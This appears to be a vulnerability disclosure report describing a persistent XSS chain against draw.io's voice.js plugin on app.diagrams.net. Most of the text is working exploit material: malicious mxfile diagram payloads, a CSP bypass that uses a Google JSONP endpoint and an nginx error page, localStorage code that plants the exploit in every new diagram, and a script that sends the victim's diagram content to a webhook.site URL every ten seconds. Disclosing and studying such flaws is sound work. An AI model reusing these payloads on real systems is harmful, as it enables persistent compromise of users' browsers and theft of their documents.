The user must go on a link and remove a square.
(In the following section, Iโll give PoCs only for chromium based browsers)
ย
Thanks to the ?p=
parameter, it is possible to enforce the user to load built-in plugins without warning for a specific diagram.
https://github.com/jgraph/drawio/blob/84910e56e17af48188d13a1aa3b020c672b2c777/src/main/webapp/js/diagramly/App.js#L813
if (urlParams['plugins'] != '0' && urlParams['offline'] != '1') {
// ...
var temp = urlParams['p'];
App.initPluginCallback();
if (temp != null)
{
// Mapping from key to URL in App.plugins
App.loadPlugins(temp.split(';'));
}
// ...
}
In addition, using #
serialized, we can control the diagram
which will be rendered on app.diagrams.net
. For example: https://app.diagrams.net/?p=voice#RjZNNb4MwDIZ%2FDcdJfHTTdhz0a1KnTu2h0m4RcSFbwCgNhfbXzwynlFWVdiJ%2B7NjOa%2BNFSdEujKjyd5SgvdCXrRdNvTAMIz%2BkT0dOPQmCR78nmVGS2QC26gwMXVitJBxGgRZRW1WNYYplCakdMWEMNuOwPepx1UpkcAO2qdC3dKekzXv67F7R8SWoLHeVA589hXDBDA65kNhcoWjmRYlBtP2paBPQnXpOl%2F7e%2FI730piB0v7nwstbtYw%2F5uvN1%2B68%2BJw2dRLuHjjLUeiaH7ycrVZrQrv1ZjXlzu3JyWGhpWJxbgtNIKDjwRr8hgQ1GiIllhQZ75XWf5DQKivJTKldIB4fwVhFQr%2Byo1BSdmXiJlcWtpVIu5oN7RUxg3UpoXuJTxY3TQmgvatGcNGYthOwAGtOFMIXJm4svJiTJ7abYcoO5VcDjpgJ3qvsknmQng6svjOHKf%2F6rn6WaPYD
This will be used later in the exploitation.
ย
In the voice.js plugin, there is an App.say method which is used to print the current user action on the top of the screen. The message
and params
arguments of the method are directly passed into an innerHTML
sink:
https://github.com/jgraph/drawio/blob/84910e56e17af48188d13a1aa3b020c672b2c777/src/main/webapp/plugins/voice.js#L614
App.say = function(message, params) {
var text = mxResources.replacePlaceholders(message, params || []);
// ...
var tmp = text;
// ...
td.innerHTML = ((speechOutputEnabled) ? '<img src />' : '') + ' ' + tmp;
In addition, when a mxEvent.CELLS_REMOVED event is fired, if the cell
content is empty, the getWordForCell function is called. The vulnerability occurs in this specific function:
https://github.com/jgraph/drawio/blob/84910e56e17af48188d13a1aa3b020c672b2c777/src/main/webapp/plugins/voice.js#L2077
label = (ignoreLabel) ? null : firstWord(this.getLabel(cell));
// ...
var div = document.createElement('div');
div.innerHTML = label;
label = div.innerText;
In the above part of the code, it takes the label content, insert it in a div innerHTML and retrieve its innerText content. The problem here is that if the label
content is HTML encoded
, it will be decoded and used in the App.say
injection sink.
HTML entities
abuse to get HTML injection
:<mxfile host="app.diagrams.net" modified="2023-07-17T16:36:51.099Z" agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" etag="rlDx8e0eFsnqY5jP3sZX" version="21.6.2" type="device">
<diagram name="Page-1" id="AXoLfr7_YK2FwFhDrODr">
<mxGraphModel dx="443" dy="1162" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="850" pageHeight="1100" math="0" shadow="0">
<root>
<mxCell id="0" />
<mxCell id="1" parent="0" />
<mxCell id="4Wv9dNQUPDvgd-HPhavV-1" style="rounded=0;whiteSpace=wrap;html=1;shape=<title><img src=x onerror=alert()></title>;" parent="1" vertex="1">
<mxGeometry x="230" y="390" width="120" height="60" as="geometry" />
</mxCell>
</root>
</mxGraphModel>
</diagram>
</mxfile>
ย
The CSP allows as a script-src
the domain apis.google.com
. This domain as a well known JSONP
endpoint which is really restrictive: https://apis.google.com/complete/search?client=chrome&q=aa&callback=alert
. To fully bypass the CSP, I used @tarjanqโs research to abused the nginx error page
which has no CSP
with the fact that document.write
allows an array as argument:
<iframe id=x src="/%GG"></iframe>
<script src="https://apis.google.com/complete/search?client=chrome&q=<script>alert()</script>&callback=x.contentDocument.write"></script>
<mxfile host="app.diagrams.net" modified="2023-07-17T16:36:51.099Z" agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" etag="rlDx8e0eFsnqY5jP3sZX" version="21.6.2" type="device">
<diagram name="Page-1" id="AXoLfr7_YK2FwFhDrODr">
<mxGraphModel dx="443" dy="1162" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="850" pageHeight="1100" math="0" shadow="0">
<root>
<mxCell id="0" />
<mxCell id="1" parent="0" />
<mxCell id="4Wv9dNQUPDvgd-HPhavV-1" style="rounded=0;whiteSpace=wrap;html=1;shape=<title><iframe srcdoc="<iframe id=x src='/%GG'></iframe><script src='https://apis%2Egoogle%2Ecom/complete/search?client=chrome&q=<script%20src=%22https://mizu%2Ere/bb/xss%2Ejs%22></script>&callback=x%2EcontentDocument%2Ewrite'></script> "></title>;" parent="1" vertex="1">
<mxGeometry x="230" y="390" width="120" height="60" as="geometry" />
</mxCell>
</root>
</mxGraphModel>
</diagram>
</mxfile>
WARNING: Dot must be URL encoded for this to work!
It must be used in a chromium based browser!
ย
In order to justify the CVSS score of this issue, Iโm providing a PoC
which leverages it to backdoor the localStorage
and leak every new diagram content. (Disponibility
can be impacted using cookie bomb
attack in addition of the following PoC
)
localStorage
, change the .config-drawio
content to enforce the voice
plugin to be loaded permanently, and the .configuration
content to change the default empty diagram content. (Online poc to trigger this on your chromium browser)localStorage.setItem(".drawio-config", '{"language":"","configVersion":null,"customFonts":[],"libraries":"general;uml;er;bpmn;flowchart;basic;arrows2","customLibraries":["L.scratchpad"],"plugins":["plugins/voice.js"],"recentColors":[],"formatWidth":"240","createTarget":false,"pageFormat":{"x":0,"y":0,"width":850,"height":1100},"search":true,"showStartScreen":true,"gridColor":"#d0d0d0","darkGridColor":"#424242","autosave":true,"resizeImages":null,"openCounter":11,"version":18,"unit":1,"isRulerOn":false,"ui":""}')
localStorage.setItem(".configuration", '{"emptyDiagramXml":"<mxGraphModel dx=\\"443\\" dy=\\"1162\\" grid=\\"1\\" gridSize=\\"10\\" guides=\\"1\\" tooltips=\\"1\\" connect=\\"1\\" arrows=\\"1\\" fold=\\"1\\" page=\\"1\\" pageScale=\\"1\\" pageWidth=\\"850\\" pageHeight=\\"1100\\" math=\\"0\\" shadow=\\"0\\"><root><mxCell id=\\"0\\" /><mxCell id=\\"1\\" parent=\\"0\\" /><mxCell id=\\"4Wv9dNQUPDvgd-HPhavV-1\\" style=\\"rounded=0;whiteSpace=wrap;html=1;shape=<title><iframe srcdoc="<iframe id=x src='/%GG'></iframe><script src='https://apis%2Egoogle%2Ecom/complete/search?client=chrome&q=<script%20src=%22https://mizu%2Ere/PoC/drawio/xss_stager%2Ejs%22></script>&callback=x%2EcontentDocument%2Ewrite'></script> "></title>;\\" parent=\\"1\\" vertex=\\"1\\"><mxGeometry x=\\"230\\" y=\\"390\\" width=\\"120\\" height=\\"60\\" as=\\"geometry\\" /></mxCell></root></mxGraphModel>"}')
It is important to notice that from the UI, it is impossible to update .config-drawio
content, thus the client will need to clear is localStorage
manually in order to remove the voice
plugin.
Step 2: Then, each time a new diagram is created, the default template will be the exploit content. Thus, the client will have a square that he will obviously remove before starting his creation. But, when he will do that, the XSS is used to poison his current context and exfiltrate each change of his diagram.
Make the XSS persistante:
var div = document.createElement("div");
div.innerHTML = `
<iframe id=x src="/%GG"></iframe>
<iframe srcdoc="<script src="https://apis.google.com/complete/search?client=chrome&q=<script%20src='https://mizu.re/PoC/drawio/poison.js'></script>&callback=top.x.contentDocument.write"></script>"></iframe>
`;
top.document.body.appendChild(div)
As you can see, the persistent XSS is used to load a script file:
var exfilt_url = "https://webhook.site/2078733f-1f5b-4fb9-96dd-38d6d5e770ab";
var content = "";
top.EditorUi.prototype.getCurrentFile = function() {
if(this.currentFile !== null) {
content = top.mxUtils.getPrettyXml(this.currentFile.ui.editor.getGraphXml());
}
return this.currentFile;
};
setInterval(() => {
fetch(exfilt_url, { method: "POST", body: content });
}, 10000)
This script will basically send each 10s the content of the current diagram.
If you need more justification, about the CVSS score, donโt hesitate!
ย
p=
.message
(tmp
variable) before using it in App.say